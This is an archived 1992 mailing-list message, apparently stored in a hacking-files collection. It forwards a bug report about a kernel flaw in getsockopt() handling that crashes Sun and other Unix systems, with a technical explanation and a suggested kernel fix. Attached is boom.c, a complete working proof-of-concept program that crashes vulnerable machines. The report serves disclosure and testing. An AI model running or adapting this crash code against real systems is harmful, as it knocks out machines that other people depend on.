home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / boom.zip / BOOM.C
Internet Message Format  |  1993-06-30  |  6KB

  1. Date: Fri, 03 Jan 92 17:00:30 EST
  2. From: Gene Spafford <spaf@cs.purdue.edu>
  3.  
  4. This program crashes Suns and AT&T machines.  It may also crash BSD
  5. and Ultrix machines.  You may (or may not) want to consider the fix.
  6. If nothing else, this program is going to be out there, so you might
  7. want to be on the lookout for any suspcious machine crashes.
  8.  
  9. --spaf
  10.  
  11. ------- Forwarded Message
  12.  
  13. Date:    Fri, 03 Jan 92 13:53:13 -0800
  14. From:    shj@ultra.com (Steve Jay {Ultra Unix SW Mgr})
  15. Subject: system crasher [shj@ultra.com (Steve Jay {Ultra Unix SW Mgr}): system crasher]
  16.  
  17. Thanks for volunteering.  The test program is attached to the end of this
  18. message.  You compile and execute it with just
  19.  
  20.     % cc -o boom boom.c
  21.     % ./boom
  22.  
  23. Please run the test on whatever systems you care to, and send me the
  24. results.
  25.  
  26. For a system that has the bug fixed, the output will be something like
  27.  
  28. > using port 1025
  29. > getpeer sts -1, errno 123
  30. > getsockopt: Invalid argument
  31.  
  32. The "getpeer sts..." msg may appear several times.
  33.  
  34. On systems with the bug, the system will crash on the getsockopt().
  35.  
  36. The bug is in the kernel routines that processes the getsockopt() system
  37. call [tcp_ctlouput() and ip_ctloutput()].  The routines use the "so_pcb"
  38. field from the socket structure without checking it for 0.  If a TCP
  39. RESET has been received on a connection, the in_pcb and tcpcb structures
  40. will have been deleted, and the so_pcb field is 0.
  41.  
  42. The program forces a RESET to be sent by writing to a connection after
  43. the other side has closed its end of the connection.  The getpeername()
  44. system call has code in it to correctly test for a 0 in_pcb value, in
  45. which case it returns ENOTCONN.  So, the program writes to the socket
  46. and does getpeername() calls until the getpeername() fails.  It then
  47. does the getsockopt() call.
  48.  
  49. The bug fix is easy...add code to the beginning of the tcp_ctloutput()
  50. and ip_ctloutput() routines similar to the code at the beginning of the
  51. tcp_usrreq() routine to check [under splnet()], for 0 in the so_pcb field.
  52.  
  53. BTW, I didn't discover this bug.  One of Ultra's customers sent us a
  54. crash dump from their Sun system, believing that the crash was caused
  55. by our software.  After looking at the dump, I was able to come up with
  56. this test program, which crashes any Sun, regardless of whether Ultra's
  57. software is installed.
  58.  
  59. Also BTW, the bug appears to be fixed on SGI IRIX and IBM AIX (both
  60. 370 and RS6000 versions).  However, the fix may not be completely
  61. correct, as the SGI version doesn't appear to do splnet() before
  62. doing the check for 0, which I believe leaves a tiny window for the
  63. crash, if the TCP RESET comes in just as the user does the getsockopt().
  64. The fact that it's (at least partiallly) fixed on these systems may
  65. mean the bug isn't as pervasive as I thought.
  66.  
  67. I have reported the bug, including test program and fix, to Sun.  I'm
  68. waiting for a response.
  69.  
  70. Thanks for your help.
  71.  
  72. Steve Jay
  73. shj@ultra.com  ...ames!ultra!shj
  74. Ultra Network Technologies / 101 Dagget Drive / San Jose, CA 95134 / USA
  75. (408) 922-0100 x130    "Home of the 1 Gigabit/Second network"
  76.  
  77. ============================  boom.c =======================================
  78.  
  79. #include <stdio.h>
  80. #include <errno.h>
  81. #include <sys/types.h>
  82. #include <sys/socket.h>
  83. #include <netinet/in.h>
  84. #include <arpa/inet.h>
  85.  
  86. void
  87. pexit(s)
  88.     char                *s;
  89. {
  90.     perror(s);
  91.     exit(1);
  92. }
  93.  
  94. int
  95. get_local_port(s)
  96.     int                 s;
  97. {
  98.     int                 port;
  99.  
  100.     struct sockaddr_in  a;
  101.  
  102.     for (port = IPPORT_RESERVED; port < IPPORT_USERRESERVED; port++) {
  103.         bzero((char *)&a, sizeof(a));
  104.         a.sin_family      = AF_INET;
  105.         a.sin_addr.s_addr = INADDR_ANY;
  106.         a.sin_port        = port;
  107.         if (bind(s, (struct sockaddr *)&a, sizeof(a))) {
  108.             if (errno != EADDRINUSE) {
  109.                 pexit("bind");
  110.             }
  111.         } else {
  112.             printf("using port %d\n", port);
  113.             return(port);
  114.         }
  115.     }
  116.     fprintf(stderr, "can't get a port\n");
  117.     exit(1);
  118. }
  119.  
  120. void
  121. do_connect(port)
  122.     int                 port;
  123. {
  124.     int                 s;
  125.  
  126.     struct sockaddr_in  a;
  127.  
  128.     sleep(1);
  129.     if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
  130.         pexit("socket2");
  131.     }
  132.     bzero((char *)&a, sizeof(a));
  133.     a.sin_family      = AF_INET;
  134.     a.sin_addr.s_addr = INADDR_LOOPBACK;
  135.     a.sin_port        = port;
  136.     if (connect(s, (struct sockaddr *)&a, sizeof(a)) == -1) {
  137.         pexit("connect");
  138.     }
  139.     exit(0);
  140. }
  141.  
  142.  
  143. main()
  144. {
  145.     int                 s,
  146.                         ns,
  147.                         sts,
  148.                         len,
  149.                         pid,
  150.                         port;
  151.  
  152.     extern int          errno;
  153.  
  154.     struct sockaddr_in  a;
  155.  
  156.     if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
  157.         pexit("socket");
  158.     }
  159.     port = get_local_port(s);
  160.     if (listen(s, 1) == -1) {
  161.         pexit("listen");
  162.     }
  163.     if ((pid = fork()) == -1 ) {
  164.         pexit("fork");
  165.     } else if (pid == 0) {
  166.         do_connect(port);
  167.     }
  168.     len = sizeof(a);
  169.     if((ns = accept(s, (struct sockaddr *)&a, &len)) == -1) {
  170.         pexit("accept");
  171.     }
  172.     do {
  173.         write(ns, (char *)&a, sizeof(a));
  174.         len = sizeof(a);
  175.         errno = 0;
  176.         sts = getpeername(ns, (struct sockaddr *)&a, &len);
  177.         printf("getpeer sts %d, errno %d\n", sts, errno);
  178.         sleep(1);
  179.     } while (sts == 0);
  180.     len = sizeof(a);
  181.     if (getsockopt(ns, IPPROTO_IP, IP_OPTIONS, (char *)&a, &len) == -1) {
  182.         pexit("getsockopt");
  183.     }
  184.     exit(0);
  185. }
  186.  
  187.  
  188.  
  189.  
  190. ------- End of Forwarded Message
  191.  
  192.